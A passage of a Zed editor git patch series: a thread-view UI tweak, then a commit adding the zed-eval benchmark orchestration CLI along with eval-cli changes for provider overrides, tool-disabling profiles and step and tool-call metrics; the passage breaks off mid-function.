-            gpui::ImageFormat::Gif => "GIF",
-            gpui::ImageFormat::Svg => "SVG",
-            gpui::ImageFormat::Bmp => "BMP",
-            gpui::ImageFormat::Tiff => "TIFF",
-            gpui::ImageFormat::Ico => "ICO",
-            gpui::ImageFormat::Pnm => "PNM",
-        };
-        let dimensions_label = if let Some(size) = dimensions {
-            format!("{}×{} {}", size.width, size.height, format_name)
-        } else {
-            format_name.into()
-        };
-
         v_flex()
             .gap_2()
             .map(|this| {
@@ -9796,27 +9828,17 @@ impl ThreadView {
                         .border_color(self.tool_card_border_color(cx))
                 }
             })
-            .child(
-                h_flex()
-                    .w_full()
-                    .justify_between()
-                    .items_center()
-                    .child(
-                        Label::new(dimensions_label)
-                            .size(LabelSize::XSmall)
-                            .color(Color::Muted)
-                            .buffer_font(cx),
-                    )
-                    .when_some(location, |this, _loc| {
-                        this.child(
-                            Button::new(("go-to-file", entry_ix), "Go to File")
-                                .label_size(LabelSize::Small)
-                                .on_click(cx.listener(move |this, _, window, cx| {
-                                    this.open_tool_call_location(entry_ix, 0, window, cx);
-                                })),
-                        )
-                    }),
-            )
+            .when_some(location, |this, _loc| {
+                this.child(
+                    h_flex().w_full().justify_end().child(
+                        Button::new(("go-to-file", entry_ix), "Go to File")
+                            .label_size(LabelSize::Small)
+                            .on_click(cx.listener(move |this, _, window, cx| {
+                                this.open_tool_call_location(entry_ix, 0, window, cx);
+                            })),
+                    ),
+                )
+            })
             .child(
                 img(image)
                     .max_w_96()
@@ -9906,8 +9928,8 @@ impl ThreadView {
 
         let is_cancelled = matches!(tool_call.status, ToolCallStatus::Canceled)
             || tool_call.content.iter().any(|c| match c {
-                ToolCallContent::ContentBlock(ContentBlock::Markdown { markdown }) => {
-                    markdown.read(cx).source() == "User canceled"
+                ToolCallContent::ContentBlock(block) => {
+                    block.text_content(cx) == Some("User canceled")
                 }
                 _ => false,
             });
@@ -10284,14 +10306,12 @@ impl ThreadView {
         if matches!(status, ToolCallStatus::Failed) {
             tool_call.content.iter().find_map(|content| {
                 if let ToolCallContent::ContentBlock(block) = content {
-                    if let acp_thread::ContentBlock::Markdown { markdown } = block {
-                        let source = markdown.read(cx).source().to_string();
-                        if !source.is_empty() {
-                            if source == "User canceled" {
-                                return None;
-                            } else {
-                                return Some(SharedString::from(source));
-                            }
+                    if let Some(source) = block.text_content(cx).filter(|source| !source.is_empty())
+                    {
+                        if source == "User canceled" {
+                            return None;
+                        } else {
+                            return Some(SharedString::from(source));
                         }
                     }
                 }

From 10f501d7007c7a104456d8d0750e92eb0d25e328 Mon Sep 17 00:00:00 2001
From: Anant Goel <anant@zed.dev>
Date: Wed, 24 Jun 2026 08:32:41 -0700
Subject: [PATCH 083/772] eval_cli: Add remote benchmark orchestration (#59802)

Summary:

- Add the `zed-eval` Python CLI for Modal/Harbor/Pier benchmark
orchestration, including content-addressed remote builds, run/suite
management, reporting, rejudge, baseline, and cleanup workflows.
- Extend `eval-cli` for remote evals with provider/model overrides and
step/tool-call metrics in `result.json`.
- Add install/source-run helper scripts so `zed-eval` can be installed
or run from the checkout without manually setting `PYTHONPATH`.
- Harden the remote harness wrappers around exit-code preservation,
archive extraction, custom secret wiring, and Harbor/Pier option parity,
with regression coverage.

Testing:

- Using the CLI for two weeks
- `PYTHONPATH=crates/eval_cli python3 -m compileall -q
crates/eval_cli/zed_eval`
- `uv run --project crates/eval_cli/zed_eval python -m unittest discover
-s crates/eval_cli/zed_eval/tests`
- `bash -n crates/eval_cli/script/install-zed-eval
crates/eval_cli/script/zed-eval`
- `cargo check -p eval_cli`
- `cargo fmt --package eval_cli -- --check`
- `cargo test -p eval_cli --no-run`
- `./script/clippy -p eval_cli`

Release Notes:

- N/A
---
 crates/eval_cli/.gitignore                    |    6 +
 crates/eval_cli/Dockerfile                    |    8 +-
 crates/eval_cli/README.md                     |  115 +-
 crates/eval_cli/script/install-zed-eval       |   27 +
 crates/eval_cli/script/zed-eval               |   21 +
 crates/eval_cli/src/main.rs                   |  315 +++++-
 crates/eval_cli/zed_eval/README.md            |  348 ++++++
 crates/eval_cli/zed_eval/__init__.py          |    2 -
 crates/eval_cli/zed_eval/agent.py             |  349 +++---
 crates/eval_cli/zed_eval/agent_common.py      |  184 +++
 crates/eval_cli/zed_eval/baseline.py          |  205 ++++
 crates/eval_cli/zed_eval/benchmarks.py        |  239 ++++
 crates/eval_cli/zed_eval/builds.py            |   85 ++
 crates/eval_cli/zed_eval/cleanup.py           |   93 ++
 crates/eval_cli/zed_eval/cli.py               |  787 +++++++++++++
 crates/eval_cli/zed_eval/common.py            |  220 ++++
 crates/eval_cli/zed_eval/config.py            |  164 +++
 crates/eval_cli/zed_eval/harness_command.py   |  220 ++++
 crates/eval_cli/zed_eval/interactive.py       |  163 +++
 crates/eval_cli/zed_eval/judge_proxy.py       |  104 ++
 crates/eval_cli/zed_eval/launch.py            |  670 +++++++++++
 crates/eval_cli/zed_eval/modal_app.py         | 1008 +++++++++++++++++
 crates/eval_cli/zed_eval/pier_agent.py        |  226 ++++
 crates/eval_cli/zed_eval/pyproject.toml       |   13 +-
 crates/eval_cli/zed_eval/rejudge.py           |  359 ++++++
 crates/eval_cli/zed_eval/report.py            |  484 ++++++++
 crates/eval_cli/zed_eval/run_index.py         |  168 +++
 crates/eval_cli/zed_eval/source.py            |  332 ++++++
 .../zed_eval/tests/test_agent_common.py       |  139 +++
 .../eval_cli/zed_eval/tests/test_baseline.py  |   36 +
 .../zed_eval/tests/test_benchmarks.py         |  137 +++
 .../eval_cli/zed_eval/tests/test_cleanup.py   |   79 ++
 crates/eval_cli/zed_eval/tests/test_launch.py |  146 +++
 .../eval_cli/zed_eval/tests/test_rejudge.py   |  123 ++
 crates/eval_cli/zed_eval/tests/test_report.py |  113 ++
 .../eval_cli/zed_eval/tests/test_run_index.py |  132 +++
 crates/eval_cli/zed_eval/tests/test_source.py |   68 ++
 crates/eval_cli/zed_eval/verifier.py          |   59 +
 crates/eval_cli/zed_eval/volume.py            |  254 +++++
 39 files changed, 7960 insertions(+), 241 deletions(-)
 create mode 100755 crates/eval_cli/script/install-zed-eval
 create mode 100755 crates/eval_cli/script/zed-eval
 create mode 100644 crates/eval_cli/zed_eval/README.md
 create mode 100644 crates/eval_cli/zed_eval/agent_common.py
 create mode 100644 crates/eval_cli/zed_eval/baseline.py
 create mode 100644 crates/eval_cli/zed_eval/benchmarks.py
 create mode 100644 crates/eval_cli/zed_eval/builds.py
 create mode 100644 crates/eval_cli/zed_eval/cleanup.py
 create mode 100644 crates/eval_cli/zed_eval/cli.py
 create mode 100644 crates/eval_cli/zed_eval/common.py
 create mode 100644 crates/eval_cli/zed_eval/config.py
 create mode 100644 crates/eval_cli/zed_eval/harness_command.py
 create mode 100644 crates/eval_cli/zed_eval/interactive.py
 create mode 100644 crates/eval_cli/zed_eval/judge_proxy.py
 create mode 100644 crates/eval_cli/zed_eval/launch.py
 create mode 100644 crates/eval_cli/zed_eval/modal_app.py
 create mode 100644 crates/eval_cli/zed_eval/pier_agent.py
 create mode 100644 crates/eval_cli/zed_eval/rejudge.py
 create mode 100644 crates/eval_cli/zed_eval/report.py
 create mode 100644 crates/eval_cli/zed_eval/run_index.py
 create mode 100644 crates/eval_cli/zed_eval/source.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_agent_common.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_baseline.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_benchmarks.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_cleanup.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_launch.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_rejudge.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_report.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_run_index.py
 create mode 100644 crates/eval_cli/zed_eval/tests/test_source.py
 create mode 100644 crates/eval_cli/zed_eval/verifier.py
 create mode 100644 crates/eval_cli/zed_eval/volume.py

diff --git a/crates/eval_cli/.gitignore b/crates/eval_cli/.gitignore
index a6317b892a1a0a..6b8a8da509d192 100644
--- a/crates/eval_cli/.gitignore
+++ b/crates/eval_cli/.gitignore
@@ -1,4 +1,10 @@
 **/jobs
 **/*.egg-info
 **/__pycache__
+**/.venv
+**/.pytest_cache
+**/.ruff_cache
 uv.lock
+
+# Experiment artifacts, that do not need to be committed
+experiments/*
diff --git a/crates/eval_cli/Dockerfile b/crates/eval_cli/Dockerfile
index 9782e5982b95cb..d67453f1faa284 100644
--- a/crates/eval_cli/Dockerfile
+++ b/crates/eval_cli/Dockerfile
@@ -7,11 +7,13 @@
 # Or use the helper script:
 #   crates/eval_cli/script/build-linux
 
-FROM rust:1.95.0 AS builder
+FROM rust:1.95.0@sha256:f49565f188ee00bc2a18dd418183f2c5f23ef7d6e691890517ed341a598f67c3 AS builder
+
+ARG CARGO_ZIGBUILD_VERSION=0.22.3
 
 WORKDIR /app
 
-    # Pre-install the toolchain specified in rust-toolchain.toml so it is cached.
+# Pre-install the toolchain specified in rust-toolchain.toml so it is cached.
 RUN rustup toolchain install 1.95.0 --profile minimal \
     --component rustfmt --component clippy --component rust-analyzer --component rust-src \
     --target wasm32-wasip2 --target wasm32-unknown-unknown --target x86_64-unknown-linux-musl --target x86_64-unknown-linux-gnu
@@ -34,7 +36,7 @@ RUN mkdir -p /opt/zig \
     | tar -xJ -C /opt/zig --strip-components=1 \
     && ln -s /opt/zig/zig /usr/local/bin/zig
 
-RUN cargo install --locked cargo-zigbuild
+RUN cargo install --locked cargo-zigbuild --version ${CARGO_ZIGBUILD_VERSION}
 
 COPY . .
 
diff --git a/crates/eval_cli/README.md b/crates/eval_cli/README.md
index a9952bbf4fe106..3cb54d55376386 100644
--- a/crates/eval_cli/README.md
+++ b/crates/eval_cli/README.md
@@ -1,108 +1,81 @@
 # eval-cli
 
-Headless CLI binary for running Zed's agent in evaluation/benchmark
-environments. Designed to work inside containerized environments like
-[Harbor](https://harborframework.com/) where the repository is already
-checked out and API keys are provided via environment variables.
+Headless Rust binary for running Zed's agent in evaluation and benchmark
+environments. It is designed for containerized harnesses such as
+[Harbor](https://harborframework.com/) and Pier, where the repository is already
+checked out and model API keys are provided via environment variables.
 
-Uses the same `NativeAgent` + `AcpThread` pipeline as the production Zed
-editor — full agentic loop with tool calls, subagents, and retries, just
-without a GUI.
+`eval-cli` uses the same `NativeAgent` + `AcpThread` pipeline as the production
+Zed editor: a full agentic loop with tool calls, subagents, and retries, without
+a GUI.
+
+This directory also contains `zed_eval/`, the Python `zed-eval` package used to
+build this binary, launch remote benchmark runs on Modal/Harbor/Pier, and fetch
+results. For normal benchmark orchestration, start with
+[`zed_eval/README.md`](zed_eval/README.md).
 
 ## Building
 
-### Native (for local testing on the same OS)
+### Native, for local testing on the same OS
 
-```
+```sh
 cargo build --release -p eval_cli
 ```
 
-### Cross-compile for Linux x86_64 (from macOS or other hosts)
+### Linux x86_64, for Harbor/Pier sandboxes
 
-Harbor containers run Linux x86_64. Use the Docker-based build script:
+Harbor and Pier containers run Linux x86_64. From the repository root, use the
+Docker-based build script:
 
-```
+```sh
 crates/eval_cli/script/build-linux
 ```
 
-This produces `target/eval-cli` (an x86_64 Linux ELF binary). You can
-also specify a custom output path:
+This produces `target/eval-cli`, an x86_64 Linux ELF binary. You can also
+specify a custom output path:
 
-```
+```sh
 crates/eval_cli/script/build-linux --output ~/bin/eval-cli-linux
 ```
 
 ## Standalone usage
 
-```
+```sh
 eval-cli \
   --workdir /testbed \
-  --model anthropic/claude-sonnet-4-6-latest \
+  --model anthropic/claude-sonnet-4-6 \
   --instruction "Fix the bug described in..." \
   --timeout 600 \
   --output-dir /logs/agent
 ```
 
-Reads API keys from environment variables (`ANTHROPIC_API_KEY`,
-`OPENAI_API_KEY`, etc.). Writes `result.json`, `thread.md`, and
-`thread.json` to the output directory.
+`eval-cli` reads provider API keys from environment variables such as
+`ANTHROPIC_API_KEY` and `OPENAI_API_KEY`. It writes `result.json`, `thread.md`,
+and `thread.json` to the output directory.
 
 ### Exit codes
 
-| Code | Meaning                            |
-| ---- | ---------------------------------- |
-| 0    | Agent finished                     |
-| 1    | Error (model/auth/runtime failure) |
-| 2    | Timeout                            |
-| 3    | Interrupted (SIGTERM/SIGINT)       |
-
-## Harbor integration
+| Code | Meaning |
+| --- | --- |
+| 0 | Agent finished |
+| 1 | Error, such as model/auth/runtime failure |
+| 2 | Timeout |
+| 3 | Interrupted by SIGTERM or SIGINT |
 
-The `zed_eval/` directory contains a Python package that
-implements Harbor's `BaseInstalledAgent` interface, allowing eval-cli to
-be used with `--agent-import-path` without modifying Harbor's source code.
+## Running benchmarks
 
-### Setup
+Most benchmark runs should use the Python `zed-eval` CLI instead of invoking
+`eval-cli` directly. From the repository root:
 
+```sh
+crates/eval_cli/script/install-zed-eval
+zed-eval doctor --create-volume
+zed-eval run rf --from local --n-tasks 2
 ```
-pip install -e crates/eval_cli/harbor/
-```
-
-### Running with a local binary
-
-Build for Linux first, then pass the binary path:
 
-```
-crates/eval_cli/script/build-linux
+For one-off source runs without installing the tool globally, use
+`crates/eval_cli/script/zed-eval <args>`.
 
-harbor run -d "swebench_verified@latest" \
-  --agent-import-path zed_eval.agent:ZedAgent \
-  --ae binary_path=target/eval-cli \
-  -m anthropic/claude-sonnet-4-6-latest
-```
-
-The agent uploads the binary into the container during setup — no
-download URL needed during local iteration.
-
-### Running with a download URL
-
-For CI or when the binary is hosted somewhere:
-
-```
-harbor run -d "swebench_verified@latest" \
-  --agent-import-path zed_eval.agent:ZedAgent \
-  --ak download_url=https://example.com/eval-cli \
-  -m anthropic/claude-sonnet-4-6-latest
-```
-
-### Setting a timeout
-
-Pass `EVAL_CLI_TIMEOUT` via `--ae`:
-
-```
-harbor run -d "swebench_verified@latest" \
-  --agent-import-path zed_eval.agent:ZedAgent \
-  --ak binary_path=target/eval-cli \
-  --ae EVAL_CLI_TIMEOUT=600 \
-  -m anthropic/claude-sonnet-4-6-latest
-```
+See [`zed_eval/README.md`](zed_eval/README.md) for supported benchmarks, remote
+builds, Modal setup, reporting, rejudging, baselines, and Harbor/Pier installed
+agent usage.
diff --git a/crates/eval_cli/script/install-zed-eval b/crates/eval_cli/script/install-zed-eval
new file mode 100755
index 00000000000000..dd4bfaea506485
--- /dev/null
+++ b/crates/eval_cli/script/install-zed-eval
@@ -0,0 +1,27 @@
+#!/usr/bin/env bash
+#
+# Install or update the zed-eval Python CLI as an editable uv tool.
+#
+# Usage:
+#   crates/eval_cli/script/install-zed-eval
+#
+# After this, `zed-eval` is available on PATH (assuming uv's tool bin directory
+# is on PATH) and tracks changes in crates/eval_cli/zed_eval without reinstalling.
+
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+REPO_ROOT="$(cd "$SCRIPT_DIR/../../.." && pwd)"
+PACKAGE_DIR="$REPO_ROOT/crates/eval_cli/zed_eval"
+
+if ! command -v uv >/dev/null 2>&1; then
+    echo "error: uv is required to install zed-eval" >&2
+    echo "Install uv from https://docs.astral.sh/uv/getting-started/installation/" >&2
+    exit 1
+fi
+
+uv tool install --editable "$PACKAGE_DIR" --force
+
+echo ""
+echo "Installed zed-eval from $PACKAGE_DIR"
+echo "If your shell cannot find 'zed-eval', run: uv tool update-shell"
diff --git a/crates/eval_cli/script/zed-eval b/crates/eval_cli/script/zed-eval
new file mode 100755
index 00000000000000..53ac35de5211d9
--- /dev/null
+++ b/crates/eval_cli/script/zed-eval
@@ -0,0 +1,21 @@
+#!/usr/bin/env bash
+#
+# Run the zed-eval Python CLI from this checkout without manually setting
+# PYTHONPATH or installing the tool globally.
+#
+# Usage:
+#   crates/eval_cli/script/zed-eval doctor
+
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+REPO_ROOT="$(cd "$SCRIPT_DIR/../../.." && pwd)"
+PACKAGE_DIR="$REPO_ROOT/crates/eval_cli/zed_eval"
+
+if ! command -v uv >/dev/null 2>&1; then
+    echo "error: uv is required to run zed-eval from source" >&2
+    echo "Install uv from https://docs.astral.sh/uv/getting-started/installation/" >&2
+    exit 1
+fi
+
+exec uv run --project "$PACKAGE_DIR" zed-eval "$@"
diff --git a/crates/eval_cli/src/main.rs b/crates/eval_cli/src/main.rs
index 11e36914664fff..ef00fc87e2419d 100644
--- a/crates/eval_cli/src/main.rs
+++ b/crates/eval_cli/src/main.rs
@@ -15,7 +15,8 @@
 //! ## Output
 //!
 //! Writes to `--output-dir` (default `/logs/agent/`):
-//!   - `result.json`  — structured result with status, timing, and token usage
+//!   - `result.json`  — structured result with status, timing, token usage,
+//!     step count, and tool-call counts (total and per tool)
 //!   - `thread.md`    — full conversation as markdown
 //!   - `thread.json`  — raw thread state as JSON
 //!
@@ -72,10 +73,14 @@ struct Args {
     #[arg(long, default_value = ".")]
     workdir: PathBuf,
 
-    /// Instruction/prompt text. If omitted, read from --instruction-file or stdin.
+    /// Instruction/prompt text. If omitted, read from stdin.
     #[arg(long, allow_hyphen_values = true)]
     instruction: Option<String>,
 
+    /// File containing additional instruction text appended after the task prompt.
+    #[arg(long)]
+    instruction_suffix_file: Option<PathBuf>,
+
     /// Language model to use, in `provider/model` format.
     #[arg(long, default_value = "anthropic/claude-sonnet-4-6-latest")]
     model: String,
@@ -125,6 +130,26 @@ struct EvalResult {
     cache_creation_input_tokens: Option<u64>,
     #[serde(skip_serializing_if = "Option::is_none")]
     cache_read_input_tokens: Option<u64>,
+    /// Number of agent (assistant) turns, i.e. model round-trips in the agentic
+    /// loop. Reported as "steps" by the eval harness.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    step_count: Option<u64>,
+    /// Total number of tool calls across all steps.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    tool_call_count: Option<u64>,
+    /// Tool calls broken down by tool name.
+    #[serde(skip_serializing_if = "Option::is_none")]
+    tool_calls: Option<std::collections::BTreeMap<String, u64>>,
+}
+
+/// Per-run statistics collected from the finished thread, written into
+/// `result.json` so the post-hoc report can compute success-conditioned metrics.
+#[derive(Default)]
+struct RunStats {
+    token_usage: Option<language_model::TokenUsage>,
+    step_count: Option<u64>,
+    tool_call_count: Option<u64>,
+    tool_calls: Option<std::collections::BTreeMap<String, u64>>,
 }
 
 const EXIT_OK: i32 = 0;
@@ -166,6 +191,10 @@ fn main() {
         eprintln!("Error creating output dir {}: {e}", output_dir.display());
         process::exit(EXIT_ERROR);
     }
+    let output_dir = output_dir.canonicalize().unwrap_or_else(|e| {
+        eprintln!("Invalid --output-dir {:?}: {e}", output_dir);
+        process::exit(EXIT_ERROR);
+    });
 
     let http_client = Arc::new(reqwest_client::ReqwestClient::new());
     let app = gpui_platform::headless().with_http_client(http_client);
@@ -174,13 +203,23 @@ fn main() {
         let app_state = headless::init(cx);
         cx.set_staff(!args.no_staff);
 
-        let auth_tasks = LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
-            registry
-                .providers()
-                .iter()
-                .map(|p| p.authenticate(cx))
-                .collect::<Vec<_>>()
-        });
+        // Eval hook: enable additional feature-flag-gated tools (e.g. the LSP
+        // navigation tools behind `lsp-tool` / `rename-tool`) so experiments can
+        // measure the agent with tools that aren't yet GA. Comma-separated flag
+        // names; unset in production.
+        if let Ok(raw_flags) = std::env::var("ZED_EVAL_ENABLE_FLAGS") {
+            let flags: Vec<String> = raw_flags
+                .split(',')
+                .map(|flag| flag.trim().to_string())
+                .filter(|flag| !flag.is_empty())
+                .collect();
+            if !flags.is_empty() {
+                cx.update_flags(!args.no_staff, flags);
+            }
+        }
+
+        let openai_compatible_providers_json = openai_compatible_providers_override();
+        let anthropic_available_models_json = anthropic_available_models_override();
 
         let model_name = args.model.clone();
         let timeout = args.timeout;
@@ -188,11 +227,44 @@ fn main() {
         let reasoning_effort = args.reasoning_effort.clone();
 
         cx.spawn(async move |cx| {
+            // Each settings change below is applied in its own `cx.update` call (rather than
+            // inline in the synchronous body of `app.run`) so that GPUI flushes the resulting
+            // `NotifyGlobalObservers` effect before we move on. Without this, the
+            // openai_compatible/anthropic provider registration (driven by an
+            // `observe_global::<SettingsStore>` callback in language_models::init) wouldn't
+            // have run yet by the time we collect `auth_tasks`, so a newly-added provider's
+            // `authenticate()` would never get called and it would be permanently stuck
+            // unauthenticated.
+            if let Some(providers_json) = &openai_compatible_providers_json {
+                let result = cx.update(|cx| apply_openai_compatible_providers(providers_json, cx));
+                if let Err(e) = result {
+                    eprintln!("Error applying {OPENAI_COMPATIBLE_PROVIDERS_ENV}: {e:#}");
+                    process::exit(EXIT_ERROR);
+                }
+            }
+
+            if let Some(models_json) = &anthropic_available_models_json {
+                let result = cx.update(|cx| apply_anthropic_available_models(models_json, cx));
+                if let Err(e) = result {
+                    eprintln!("Error applying {ANTHROPIC_AVAILABLE_MODELS_ENV}: {e:#}");
+                    process::exit(EXIT_ERROR);
+                }
+            }
+
+            let auth_tasks = cx.update(|cx| {
+                LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+                    registry
+                        .providers()
+                        .iter()
+                        .map(|p| p.authenticate(cx))
+                        .collect::<Vec<_>>()
+                })
+            });
             futures::future::join_all(auth_tasks).await;
 
             let start = Instant::now();
 
-            let (outcome, token_usage) = run_agent(
+            let (outcome, stats) = run_agent(
                 &app_state,
                 &workdir,
                 &instruction,
@@ -201,6 +273,8 @@ fn main() {
                 thinking_override,
                 reasoning_effort.as_deref(),
                 Some(&output_dir),
+                openai_compatible_providers_json.as_deref(),
+                anthropic_available_models_json.as_deref(),
                 cx,
             )
             .await;
@@ -223,6 +297,7 @@ fn main() {
                 }
             };
 
+            let token_usage = stats.token_usage;
             let result = EvalResult {
                 status,
                 error,
@@ -239,6 +314,9 @@ fn main() {
                     .as_ref()
                     .filter(|u| u.cache_read_input_tokens > 0)
                     .map(|u| u.cache_read_input_tokens),
+                step_count: stats.step_count,
+                tool_call_count: stats.tool_call_count,
+                tool_calls: stats.tool_calls,
             };
 
             match serde_json::to_string_pretty(&result) {
@@ -258,8 +336,60 @@ fn main() {
     });
 }
 
+/// Name of the env var carrying a JSON object to merge into
+/// `language_models.openai_compatible` user settings before model discovery, in
+/// the same shape as Zed's `openai_compatible` settings key (provider id ->
+/// `{ "api_url": ..., "available_models": [...] }`). Lets zed-eval route the
+/// agent itself through an OpenAI-compatible endpoint (e.g. Baseten) that isn't
+/// one of Zed's built-in providers, without hardcoding it into eval-cli.
+const OPENAI_COMPATIBLE_PROVIDERS_ENV: &str = "ZED_OPENAI_COMPATIBLE_PROVIDERS";
+
+fn openai_compatible_providers_override() -> Option<String> {
+    let raw = std::env::var(OPENAI_COMPATIBLE_PROVIDERS_ENV).ok()?;
+    if raw.trim().is_empty() {
+        return None;
+    }
+    Some(raw)
+}
+
+fn apply_openai_compatible_providers(providers_json: &str, cx: &mut gpui::App) -> Result<()> {
+    let settings = format!(r#"{{"language_models": {{"openai_compatible": {providers_json}}}}}"#);
+    SettingsStore::update_global(cx, |store, cx| {
+        store.set_user_settings(&settings, cx).result()
+    })
+    .context("applying openai_compatible provider settings")?;
+    Ok(())
+}
+
+/// Name of the env var carrying a JSON array to merge into
+/// `language_models.anthropic.available_models` user settings before model
+/// discovery, in the same shape as Zed's `anthropic.available_models` settings
+/// key (a list of `{ "name": ..., "max_tokens": ..., ... }` entries). Lets
+/// zed-eval run models that exist on the Anthropic API for the configured
+/// key (e.g. early-access-program models) but aren't returned by the live
+/// `/v1/models` listing, without hardcoding them into eval-cli.
+const ANTHROPIC_AVAILABLE_MODELS_ENV: &str = "ZED_ANTHROPIC_AVAILABLE_MODELS";
+
+fn anthropic_available_models_override() -> Option<String> {
+    let raw = std::env::var(ANTHROPIC_AVAILABLE_MODELS_ENV).ok()?;
+    if raw.trim().is_empty() {
+        return None;
+    }
+    Some(raw)
+}
+
+fn apply_anthropic_available_models(models_json: &str, cx: &mut gpui::App) -> Result<()> {
+    let settings =
+        format!(r#"{{"language_models": {{"anthropic": {{"available_models": {models_json}}}}}}}"#);
+    SettingsStore::update_global(cx, |store, cx| {
+        store.set_user_settings(&settings, cx).result()
+    })
+    .context("applying anthropic available_models settings")?;
+    Ok(())
+}
+
 fn read_instruction(args: &Args) -> Result<String> {
-    let text = if let Some(text) = &args.instruction {
+    let mut text = if let Some(text) = &args.instruction {
         text.clone()
     } else {
         use std::io::Read;
@@ -270,9 +400,23 @@ fn read_instruction(args: &Args) -> Result<String> {
         buf
     };
     anyhow::ensure!(!text.trim().is_empty(), "instruction is empty");
+
+    if let Some(path) = &args.instruction_suffix_file {
+        let suffix = read_instruction_suffix_file(path)?;
+        text.push_str("\n\n");
+        text.push_str(&suffix);
+    }
     Ok(text)
 }
 
+fn read_instruction_suffix_file(path: &PathBuf) -> Result<String> {
+    let suffix = std::fs::read_to_string(path)
+        .with_context(|| format!("reading instruction suffix file {}", path.display()))?;
+    let suffix = suffix.trim().to_string();
+    anyhow::ensure!(!suffix.is_empty(), "instruction suffix file is empty");
+    Ok(suffix)
+}
+
 async fn wait_for_model(selected: &SelectedModel, cx: &mut AsyncApp) -> Result<()> {
     let started_at = Instant::now();
 
@@ -458,15 +602,17 @@ async fn run_agent(
     thinking_override: Option<bool>,
     reasoning_effort: Option<&str>,
     output_dir: Option<&std::path::Path>,
+    openai_compatible_providers_json: Option<&str>,
+    anthropic_available_models_json: Option<&str>,
     cx: &mut AsyncApp,
-) -> (Result<AgentOutcome>, Option<language_model::TokenUsage>) {
+) -> (Result<AgentOutcome>, RunStats) {
     let selected = match SelectedModel::from_str(model_name).map_err(|e| anyhow::anyhow!("{e}")) {
         Ok(selected) => selected,
-        Err(e) => return (Err(e), None),
+        Err(e) => return (Err(e), RunStats::default()),
     };
 
     if let Err(e) = wait_for_model(&selected, cx).await {
-        return (Err(e), None);
+        return (Err(e), RunStats::default());
     }
 
     let setup_result: Result<()> = cx.update(|cx| {
@@ -498,9 +644,79 @@ async fn run_agent(
             "null".to_string()
         };
         let provider_id = selected.provider.0.to_string();
+        // set_user_settings replaces the whole user settings buffer, so the
+        // openai_compatible/anthropic blocks applied earlier (before model
+        // discovery) have to be folded back in here, or they would be dropped
+        // by this call.
+        let mut language_models_fields = Vec::new();
+        if let Some(providers_json) = openai_compatible_providers_json {
+            language_models_fields.push(format!(r#""openai_compatible": {providers_json}"#));
+        }
+        if let Some(models_json) = anthropic_available_models_json {
+            language_models_fields.push(format!(
+                r#""anthropic": {{"available_models": {models_json}}}"#
+            ));
+        }
+        let language_models_settings = format!("{{{}}}", language_models_fields.join(","));
+        // Disable specific tools (e.g. `fetch`/`search_web` on air-gapped
+        // benchmarks) the canonical way: via the agent profile. The model only
+        // sees a built-in tool when the active profile enables it (see
+        // Thread::enabled_tools), so we define a dedicated "eval" profile that
+        // mirrors the built-in "write" profile minus the disabled tools, and make
+        // it the default profile. A fresh profile key is NOT deep-merged against
+        // the defaults, so it can't inherit "write"'s tools — the full set is
+        // listed explicitly here. Keep WRITE_TOOLS in sync with the "write"
+        // profile in assets/settings/default.json.
+        let profile_field = {
+            let raw = std::env::var("ZED_EVAL_DISABLE_TOOLS").unwrap_or_default();
+            let disabled = raw
+                .split(',')
+                .map(|name| name.trim().to_string())
+                .filter(|name| !name.is_empty())
+                .collect::<std::collections::HashSet<String>>();
+            if disabled.is_empty() {
+                String::new()
+            } else {
+                const WRITE_TOOLS: &[&str] = &[
+                    "copy_path",
+                    "create_directory",
+                    "create_thread",
+                    "delete_path",
+                    "diagnostics",
+                    "apply_code_action",
+                    "edit_file",
+                    "write_file",
+                    "fetch",
+                    "find_path",
+                    "find_references",
+                    "get_code_actions",
+                    "go_to_definition",
+                    "list_agents_and_models",
+                    "list_directory",
+                    "move_path",
+                    "rename_symbol",
+                    "read_file",
+                    "grep",
+                    "skill",
+                    "spawn_agent",
+                    "terminal",
+                    "search_web",
+                ];
+                let tools = WRITE_TOOLS
+                    .iter()
+                    .filter(|tool| !disabled.contains(**tool))
+                    .map(|tool| format!(r#""{tool}": true"#))
+                    .collect::<Vec<_>>()
+                    .join(", ");
+                format!(
+                    r#","default_profile": "eval", "profiles": {{"eval": {{"name": "Eval", "enable_all_context_servers": true, "tools": {{{tools}}}}}}}"#
+                )
+            }
+        };
         SettingsStore::update_global(cx, |store, cx| {
             let settings = format!(
                 r#"{{
+                    "language_models": {language_models_settings},
                     "agent": {{
                         "tool_permissions": {{"default": "allow"}},
                         "default_model": {{
@@ -508,7 +724,7 @@ async fn run_agent(
                             "model": "{model_id}",
                             "enable_thinking": {enable_thinking},
                             "effort": {effort}
-                        }}
+                        }}{profile_field}
                     }},
                     "autosave": "off",
                     "format_on_save": "off"
@@ -523,7 +739,7 @@ async fn run_agent(
     });
 
     if let Err(e) = setup_result {
-        return (Err(e), None);
+        return (Err(e), RunStats::default());
     }
 
     let project = cx.update(|cx| {
@@ -545,7 +761,7 @@ async fn run_agent(
     let worktree = project.update(cx, |project, cx| project.create_worktree(workdir, true, cx));
     let worktree = match worktree.await {
         Ok(w) => w,
-        Err(e) => return (Err(e).context("creating worktree"), None),
+        Err(e) => return (Err(e).context("creating worktree"), RunStats::default()),
     };
 
     let scan_result = worktree.update(cx, |tree, _cx| {
@@ -555,9 +771,39 @@ async fn run_agent(
     });
     match scan_result {
         Ok(future) => future.await,
-        Err(e) => return (Err(e), None),
+        Err(e) => return (Err(e), RunStats::default()),
+    };
+
+    let output_worktree = match output_dir {
+        Some(output_dir) if !output_dir.starts_with(workdir) => {
+            let output_worktree = project.update(cx, |project, cx| {
+                project.create_worktree(output_dir, true, cx)
+            });
+            match output_worktree.await {
+                Ok(worktree) => Some(worktree),
+                Err(e) => {
+                    return (
+                        Err(e).context("creating output worktree"),
+                        RunStats::default(),
+                    );
